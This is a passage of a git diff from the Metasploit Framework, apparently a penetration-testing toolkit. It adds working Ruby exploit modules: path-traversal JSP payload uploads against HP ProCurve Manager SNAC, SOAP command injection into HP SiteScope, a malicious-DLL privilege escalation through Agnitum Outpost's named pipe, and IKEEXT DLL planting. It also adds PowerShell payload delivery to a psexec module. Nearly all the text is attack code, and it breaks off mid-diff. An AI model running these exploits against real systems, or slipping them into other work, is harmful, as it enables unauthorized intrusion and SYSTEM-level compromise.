:pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP ProCurve Manager SNAC UpdateCertificatesServlet File Upload', + 'Description' => %q{ + This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The + vulnerability in the UpdateCertificatesServlet allows an attacker to upload arbitrary + files, just having into account binary writes aren't allowed. Additionally, authentication + can be bypassed in order to upload the file. This module has been tested successfully on + the SNAC server installed with HP ProCurve Manager 4.0. + }, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-4812' ], + [ 'OSVDB', '97155' ], + [ 'BID', '62348' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-225/' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'SSL' => true, + }, + 'DisclosureDate' => 'Sep 09 2013')) + + register_options( + [ + Opt::RPORT(443) + ], self.class ) + end + + def check + session = get_session + if session.nil? + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'uri' => "/RegWeb/RegWeb/GetCertificateStatusServlet", + 'cookie' => session + }) + + if res and res.code == 200 and res.body =~ /"success":"true"/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def get_session + res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" }) + session = nil + if res and res.code == 200 + session = res.get_cookies + end + + if session and not session.empty? + return session + end + + return nil + end + + def exploit_upload(session) + jsp_name = "#{rand_text_alphanumeric(8+rand(8))}.jsp" + rand_password = rand_text_alpha(4 + rand(10)) + post_message = Rex::MIME::Message.new + post_message.add_part(payload.encoded, "application/x-pkcs12", nil, "form-data; name=\"importFile\"; filename=\"\\../#{jsp_name}\"") + post_message.add_part(rand_password, nil, nil, "form-data; name=\"importPasswd\"") + post_message.add_part("{\"importPasswd\":\"#{rand_password}\"}", nil, nil, "form-data; name=\"cert_data\"") + post_message.add_part("importCertificate", nil, nil, "form-data; name=\"cert_action\"") + data = post_message.to_s + data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") + + res = send_request_cgi( + { + 'uri' => "/RegWeb/RegWeb/UpdateCertificatesServlet", + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_message.bound}", + 'cookie' => session, + 'data' => data, + }) + + if res and res.code == 200 and res.body =~ /Certificate import fails/ + return jsp_name + end + + return nil + end + + def peer + return "#{rhost}:#{rport}" + end + + def exploit + print_status("#{peer} - Getting a valid session...") + session = get_session + if session.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to get a valid session") + end + + print_status("#{peer} - Uploading payload...") + jsp = exploit_upload(session) + unless jsp + fail_with(Failure::NotVulnerable, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" }) + end + +end diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb new file mode 100644 index 0000000000..d24d458f5c --- /dev/null +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -0,0 +1,138 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload', + 'Description' => %q{ + This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The + vulnerability in the UpdateDomainControllerServlet allows an attacker to upload arbitrary + files, just having into account binary writes aren't allowed. Additionally, authentication + can be bypassed in order to upload the file. This module has been tested successfully on + the SNAC server installed with HP ProCurve Manager 4.0. + }, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-4811' ], + [ 'OSVDB', '97154' ], + [ 'BID', '62349' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-226/' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'SSL' => true, + }, + 'DisclosureDate' => 'Sep 09 2013')) + + register_options( + [ + Opt::RPORT(443) + ], self.class ) + end + + def check + session = get_session + if session.nil? + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet", + 'cookie' => session + }) + + if res and res.code == 200 and res.body =~ /domainName/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def get_session + res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" }) + session = nil + if res and res.code == 200 + session = res.get_cookies + end + + if session and not session.empty? + return session + end + + return nil + end + + def exploit_upload(session) + jsp_name = "#{rand_text_alphanumeric(8+rand(8))}.jsp" + post_message = Rex::MIME::Message.new + post_message.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"adCert\"; filename=\"\\../#{jsp_name}\"") + post_message.add_part("{}", nil, nil, "form-data; name=\"ad_data\"") + post_message.add_part("add", nil, nil, "form-data; name=\"ad_action\"") + data = post_message.to_s + data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") + + res = send_request_cgi( + { + 'uri' => "/RegWeb/RegWeb/UpdateDomainControllerServlet", + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_message.bound}", + 'cookie' => session, + 'data' => data, + }) + + if res and res.code == 200 and res.body =~ /success:false/ + return jsp_name + end + + return nil + end + + def peer + return "#{rhost}:#{rport}" + end + + def exploit + print_status("#{peer} - Getting a valid session...") + session = get_session + if session.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to get a valid session") + end + + print_status("#{peer} - Uploading payload...") + jsp = exploit_upload(session) + unless jsp + fail_with(Failure::NotVulnerable, "#{peer} - Upload failed") + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" }) + end + +end diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb new file mode 100644 index 0000000000..03f932c990 --- /dev/null +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -0,0 +1,173 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerVBS + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP SiteScope Remote Code Execution', + 'Description' => %q{ + This module exploits a code execution flaw in HP SiteScope. + The vulnerability exists in the opcactivate.vbs script, which + is reachable from the APIBSMIntegrationImpl AXIS service, and + uses WScript.Shell.run() to execute cmd.exe with user provided + data. Note that the opcactivate.vbs component is installed + with the (optional) HP Operations Agent component. The module + has been tested successfully on HP SiteScope 11.20 (with HP + Operations Agent) over Windows 2003 SP2. + }, + 'Author' => + [ + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2367'], + [ 'OSVDB', '95824' ], + [ 'BID', '61506' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + }, + 'DisclosureDate' => 'Jul 29 2013')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) + ], self.class) + end + + def uri + uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' + return uri + end + + def check + + op = rand_text_alpha(8 + rand(10)) + key = rand_text_alpha(8 + rand(10)) + value = rand_text_alpha(8 + rand(10)) + + res = send_soap_request(op, key, value) + + if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Delivering payload...") + + # The path to the injection is something like: + # * Java exec => cscript => WScript.Shell => cmd.exe (injection happens) + # Empirically has been tested a 1500 value for :linemax makes it work + # reliable + execute_cmdstager({:linemax => 1500}) + end + + def get_vbs_string(str) + vbs_str = "" + str.each_byte { |b| + vbs_str << "Chr(#{b})+" + } + + return vbs_str.chomp("+") + end + + # Make the modifications required to the specific encoder + # This exploit uses an specific encoder because quotes (") + # aren't allowed when injecting commands + def execute_cmdstager_begin(opts) + var_decoded = @stager_instance.instance_variable_get(:@var_decoded) + var_encoded = @stager_instance.instance_variable_get(:@var_encoded) + decoded_file = "#{var_decoded}.exe" + encoded_file = "#{var_encoded}.b64" + @cmd_list.each { |command| + # Because the exploit kills cscript processes to speed up and reliability + command.gsub!(/cscript \/\/nologo/, "wscript //nologo") + command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file)) + command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file)) + } + end + + def execute_command(cmd, opts={}) + # HTML Encode '&' character + # taskkill allows to kill the cscript process which is triggering the + # different operations performed by the OPACTIVATE command. It speeds + # up exploitation and improves reliability (some processes launched can die + # due to the fake activation). But this line also will kill other cscript + # legit processes which could be running on the target host. Because of it + # the exploit has a Manual ranking + command = ""127.0.0.1 && " + command << cmd.gsub(/&/, "&") + command << " && taskkill /F /IM cscript.exe "" + + res = send_soap_request("OPCACTIVATE", "omHost", command) + + if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/ + fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...") + end + + end + + def send_soap_request(op, key, value) + data = "" + data << "" + data << "" + data << "" + data << "" + data << "" + data << "#{key}" + data << "#{value}" + data << "" + data << "" + data << "#{op}" + data << "" + data << "" + data << "" + + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'), + 'method' => 'POST', + 'ctype' => 'text/xml; charset=UTF-8', + 'data' => data, + 'headers' => { + 'SOAPAction' => '""' + } + }) + + return res + end + +end diff --git a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb index 801b67822b..cd14f71785 100644 --- a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb +++ b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb @@ -7,15 +7,11 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/common' -require 'msf/core/post/file' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE - include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Registry diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb new file mode 100644 index 0000000000..b35f0de50b --- /dev/null +++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb @@ -0,0 +1,175 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation', + 'Description' => %q{ + This module exploits a directory traversal vulnerability on Agnitum Outpost Internet + Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load + load arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary + code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with + Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ahmad Moghimi', # Vulnerability discovery + 'juan vazquez' # MSF module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'Privileged' => true, + 'Targets' => + [ + [ 'Agnitum Outpost Internet Security 8.1', { } ], + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'References' => + [ + [ 'OSVDB', '96208' ], + [ 'EDB', '27282' ], + [ 'URL', 'http://mallocat.com/a-journey-to-antivirus-escalation/' ] + ], + 'DisclosureDate' => 'Aug 02 2013', + 'DefaultTarget' => 0 + })) + + register_options([ + # It is OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]), + # By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\ + OptInt.new("DEPTH", [ true, "Traversal depth", 3 ]) + ], self.class) + + + end + + def junk + return rand_text_alpha(4).unpack("V").first + end + + def open_named_pipe(pipe) + invalid_handle_value = 0xFFFFFFFF + + r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0) + + handle = r['return'] + + if handle == invalid_handle_value + return nil + end + + return handle + end + + def write_named_pipe(handle, dll_path, dll_name) + + traversal_path = "..\\" * datastore["DEPTH"] + traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "") + traversal_path << "\\#{dll_name}" + + path = Rex::Text.to_unicode(traversal_path) + + data = "\x00" * 0x11 + data << path + data << "\x00\x00" + data << "\x00\x00\x00" + + buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler + buf << [0x17].pack("V") # command + buf << [junk].pack("V") + buf << [data.length].pack("V") + buf << [0, 0, 0].pack("V*") + buf << data + + w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil) + + if w['return'] == false + print_error("The was an error writing to disk, check permissions") + return nil + end + + return w['lpNumberOfBytesWritten'] + end + + + def check + handle = open_named_pipe("\\\\.\\pipe\\acsipc_server") + if handle.nil? + return Exploit::CheckCode::Safe + end + session.railgun.kernel32.CloseHandle(handle) + return Exploit::CheckCode::Detected + end + + def exploit + + temp_dir = "" + + print_status("Opening named pipe...") + handle = open_named_pipe("\\\\.\\pipe\\acsipc_server") + if handle.nil? + fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found") + else + print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...") + end + + if datastore["WritableDir"] and not datastore["WritableDir"].empty? + temp_dir = datastore["WritableDir"] + else + temp_dir = expand_path("%TEMP%") + end + + print_status("Using #{temp_dir} to drop malicious DLL...") + begin + cd(temp_dir) + rescue Rex::Post::Meterpreter::RequestError + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Config, "Failed to use the #{temp_dir} directory") + end + + print_status("Writing malicious DLL to remote filesystem") + write_path = pwd + dll_name = "#{rand_text_alpha(10 + rand(10))}.dll" + begin + # Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem + write_file(dll_name, generate_payload_dll) + register_file_for_cleanup("#{write_path}\\#{dll_name}") + rescue Rex::Post::Meterpreter::RequestError + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Config, "Failed to drop payload into #{temp_dir}") + end + + print_status("Exploiting through \\\\.\\pipe\\acsipc_server...") + bytes = write_named_pipe(handle, write_path, dll_name) + session.railgun.kernel32.CloseHandle(handle) + + if bytes.nil? + fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server") + end + + end + +end diff --git a/modules/exploits/windows/local/always_install_elevated.rb b/modules/exploits/windows/local/always_install_elevated.rb index 939d226561..95fe5c0ba9 100644 --- a/modules/exploits/windows/local/always_install_elevated.rb +++ b/modules/exploits/windows/local/always_install_elevated.rb @@ -7,15 +7,11 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/registry' -require 'msf/core/post/common' -require 'msf/core/post/file' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::EXE - include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Registry include Msf::Exploit::FileDropper diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb index 2e04ad0d1b..9e2b996c3c 100644 --- a/modules/exploits/windows/local/ask.rb +++ b/modules/exploits/windows/local/ask.rb @@ -6,14 +6,11 @@ ## require 'msf/core' -require 'msf/core/post/common' require 'msf/core/exploit/exe' -require 'msf/core/post/file' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking - include Post::Common include Exploit::EXE include Post::File diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 1a9bf12b33..93b5676aa1 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -6,16 +6,13 @@ ## require 'msf/core' -require 'msf/core/post/common' require 'msf/core/exploit/exe' -require 'msf/core/post/file' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking - include Post::Common include Exploit::EXE - include Post::File + include Msf::Post::File def initialize(info={}) super( update_info( info, diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb index 023743dcdd..d54b0c3174 100644 --- a/modules/exploits/windows/local/current_user_psexec.rb +++ b/modules/exploits/windows/local/current_user_psexec.rb @@ -7,17 +7,15 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/services' -require 'msf/core/post/common' -require 'msf/core/post/file' +require 'msf/core/exploit/powershell' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking - include Post::Common include Post::Windows::Services include Exploit::EXE + include Exploit::Powershell include Post::File def initialize(info={}) @@ -44,6 +42,10 @@ class Metasploit3 < Msf::Exploit::Local [ 'OSVDB', '3106'], [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] ], + 'DefaultOptions' => + { + 'WfsDelay' => 10, + }, 'DisclosureDate' => 'Jan 01 1999', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], @@ -59,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Local ]), OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]), OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]), + OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'SMB', ['PSH', 'SMB'] ]), OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]), ]) end @@ -66,36 +69,39 @@ class Metasploit3 < Msf::Exploit::Local def exploit name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10) display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10) + if datastore['TECHNIQUE'] == 'SMB' + # XXX Find the domain controller - # XXX Find the domain controller + #share_host = datastore["INTERNAL_ADDRESS"] || detect_address + share_host = datastore["INTERNAL_ADDRESS"] || session.session_host + print_status "Using #{share_host} as the internal address for victims to get the payload from" - #share_host = datastore["INTERNAL_ADDRESS"] || detect_address - share_host = datastore["INTERNAL_ADDRESS"] || session.session_host - print_status "Using #{share_host} as the internal address for victims to get the payload from" + # Build a random name for the share and directory + share_name = Rex::Text.rand_text_alphanumeric(8) + drive = session.fs.file.expand_path("%SYSTEMDRIVE%") + share_dir = "#{drive}\\#{share_name}" - # Build a random name for the share and directory - share_name = Rex::Text.rand_text_alphanumeric(8) - drive = session.fs.file.expand_path("%SYSTEMDRIVE%") - share_dir = "#{drive}\\#{share_name}" + # Create them + print_status("Creating share #{share_dir}") + session.fs.dir.mkdir(share_dir) + cmd_exec("net share #{share_name}=#{share_dir}") - # Create them - print_status("Creating share #{share_dir}") - session.fs.dir.mkdir(share_dir) - cmd_exec("net share #{share_name}=#{share_dir}") + # Generate an executable from the shellcode and drop it in the share + # directory + filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe" + payload_exe = generate_payload_exe_service( + :servicename => name, + # XXX Ghetto + :arch => payload.send(:pinst).arch.first + ) - # Generate an executable from the shellcode and drop it in the share - # directory - filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe" - payload_exe = generate_payload_exe_service( - :servicename => name, - # XXX Ghetto - :arch => payload.send(:pinst).arch.first - ) + print_status("Dropping payload #{filename}") + write_file("#{share_dir}\\#{filename}", payload_exe) - print_status("Dropping payload #{filename}") - write_file("#{share_dir}\\#{filename}", payload_exe) - - service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}" + service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}" + else + service_executable = cmd_psh_payload(payload.encoded) + end begin Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server| @@ -113,7 +119,10 @@ class Metasploit3 < Msf::Exploit::Local print_status("#{server.ljust(16)} Deleting the service") service_delete(name, server) - rescue + rescue Rex::TimeoutError + vprint_status("#{server.ljust(16)} Timed out...") + next + rescue RuntimeError, ::Rex::Post::Meterpreter::RequestError print_error("Exception running payload: #{$!.class} : #{$!}") print_warning("#{server.ljust(16)} WARNING: May have failed to clean up!") print_warning("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}") @@ -121,10 +130,12 @@ class Metasploit3 < Msf::Exploit::Local end end ensure - print_status("Deleting share #{share_name}") - cmd_exec("net share #{share_name} /delete /y") - print_status("Deleting files #{share_dir}") - cmd_exec("cmd /c rmdir /q /s #{share_dir}") + if datastore['TECHNIQUE'] == 'SMB' + print_status("Deleting share #{share_name}") + cmd_exec("net share #{share_name} /delete /y") + print_status("Deleting files #{share_dir}") + cmd_exec("cmd /c rmdir /q /s #{share_dir}") + end end end diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb new file mode 100644 index 0000000000..37c0df7acb --- /dev/null +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -0,0 +1,307 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Services + include Msf::Post::Windows::Accounts + + def initialize(info={}) + super( update_info( info, + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', + 'Description' => %q{ + This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' + (IKEEXT) service which runs as SYSTEM, and starts automatically in default + installations of Vista-Win8. It requires an insecure bin path to plant the DLL payload. + }, + 'References' => + [ + ['URL', 'https://www.htbridge.com/advisory/HTB23108'], + ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] + ], + 'DisclosureDate' => "Oct 09 2012", + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ben Campbell ' + ], + 'Platform' => [ 'win'], + 'Targets' => + [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'SessionTypes' => [ "meterpreter" ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => 5, + 'ReverseConnectRetries' => 255 + }, + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) + ]) + @service_name = 'IKEEXT' + @load_lib_search_path = [ '%SystemRoot%\\System32', + '%SystemRoot%\\System', + '%SystemRoot%' + ] + @non_existant_dirs = [] + end + + def check_service_exists?(service) + srv_info = service_info(service) + + if srv_info.nil? + print_warning("Unable to enumerate services.") + return false + end + + if srv_info && srv_info['Name'].empty? + print_warning("Service #{service} does not exist.") + return false + else + return true + end + end + + def check + srv_info = service_info(@service_name) + + if !check_service_exists?(@service_name) + return Exploit::CheckCode::Safe + end + + vprint_status(srv_info.to_s) + + case srv_info['Startup'] + when 'Disabled' + print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Manual' + print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + print_good("Service is set to Automatically start...") + end + + if check_search_path + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Vulnerable + end + + def check_search_path + dll = 'wlbsctrl.dll' + + @load_lib_search_path.each do |path| + dll_path = "#{expand_path(path)}\\#{dll}" + + if file_exist?(dll_path) + print_warning("DLL already exists at #{dll_path}...") + return true + end + end + + return false + end + + def check_system_path + print_status("Checking %PATH% folders for write access...") + result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') + + if result.nil? + print_error("Unable to retrieve %PATH% from registry.") + return + end + + paths = result.split(';') + paths.append(@load_lib_search_path).flatten!.uniq! + + paths.each do |p| + path = expand_path(p) + if exist?(path) + if check_write_access(path) + return path + end + else + # User may be able to create the path... + print_status("Path #{path} does not exist...") + @non_existant_dirs << path + end + end + + return nil + end + + def check_write_access(path) + perm = check_dir_perms(path, @token) + if perm and perm.include?('W') + print_good ("Write permissions in #{path} - #{perm}") + return true + elsif perm + vprint_status ("Permissions for #{path} - #{perm}") + else + vprint_status ("No permissions for #{path}") + end + + return false + end + + def check_dirs + print_status("Attempting to create a non-existant PATH dir to use.") + @non_existant_dirs.each do |dir| + begin + client.fs.dir.mkdir(dir) + if exist?(dir) + register_file_for_cleanup(dir) + return dir + end + rescue Rex::Post::Meterpreter::RequestError => e + vprint_status("Unable to create dir: #{dir} - #{e}") + end + end + + return nil + end + + def check_session_arch + if sysinfo['Architecture'] =~ /x64/i + if payload_instance.arch.first == 'x86' + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end + else + if payload_instance.arch.first =~ /64/i + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end + end + end + + def exploit + check_session_arch + + begin + @token = get_imperstoken + rescue Rex::Post::Meterpreter::RequestError + vprint_error("Error while using get_imperstoken: #{e}") + end + + fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token + + if is_system? + fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") + end + + print_status("Checking service exists...") + if !check_service_exists?(@service_name) + fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") + end + + if is_uac_enabled? + print_warning("UAC is enabled, may get false negatives on writable folders.") + end + + if datastore['DIR'].empty? + # If DLL already exists in system folders, we dont want to overwrite by accident + if check_search_path + fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") + end + + file_path = check_system_path + file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs + + if file_path.nil? + fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") + end + else + # Use manually selected Dir + file_path = datastore['DIR'] + end + + @dll_file_path = "#{file_path}\\wlbsctrl.dll" + + service_information = service_info(@service_name) + + if service_information['Startup'] == 'Disabled' + print_status("Service is disabled, attempting to enable...") + service_change_startup(@service_name, 'auto') + service_information = service_info(@service_name) + + # Still disabled + if service_information['Startup'] == 'Disabled' + fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") + end + end + + # Check architecture + dll = generate_payload_dll + + # + # Drop the malicious executable into the path + # + print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") + begin + write_file(@dll_file_path, dll) + register_file_for_cleanup(@dll_file_path) + rescue Rex::Post::Meterpreter::RequestError => e + # Can't write the file, can't go on + fail_with(Exploit::Failure::Unknown, e.message) + end + + # + # Run the service, let the Windows API do the rest + # + print_status("Launching service #{@service_name}...") + + begin + status = service_start(@service_name) + if status == 1 + print_status("Service already running, attempting to restart...") + if service_stop(@service_name) == 0 + print_status("Service stopped, attempting to start...") + if service_start(@service_name) == 0 + print_status("Service started...") + else + fail_with(Exploit::Failure::Unknown, "Unable to start service.") + end + else + fail_with(Exploit::Failure::Unknown, "Unable to stop service") + end + elsif status == 0 + print_status("Service started...") + end + rescue RuntimeError => e + raise e if e.kind_of? Msf::Exploit::Failed + if service_information['Startup'] == 'Manual' + fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") + else + if job_id + print_status("Unable to start service, handler running waiting for a reboot...") + while(true) + break if session_created? + select(nil,nil,nil,1) + end + else + fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") + end + end + end + end + +end + diff --git a/modules/exploits/windows/local/ms10_092_schelevator.rb b/modules/exploits/windows/local/ms10_092_schelevator.rb index 2bdc82626d..fc79e1d05f 100644 --- 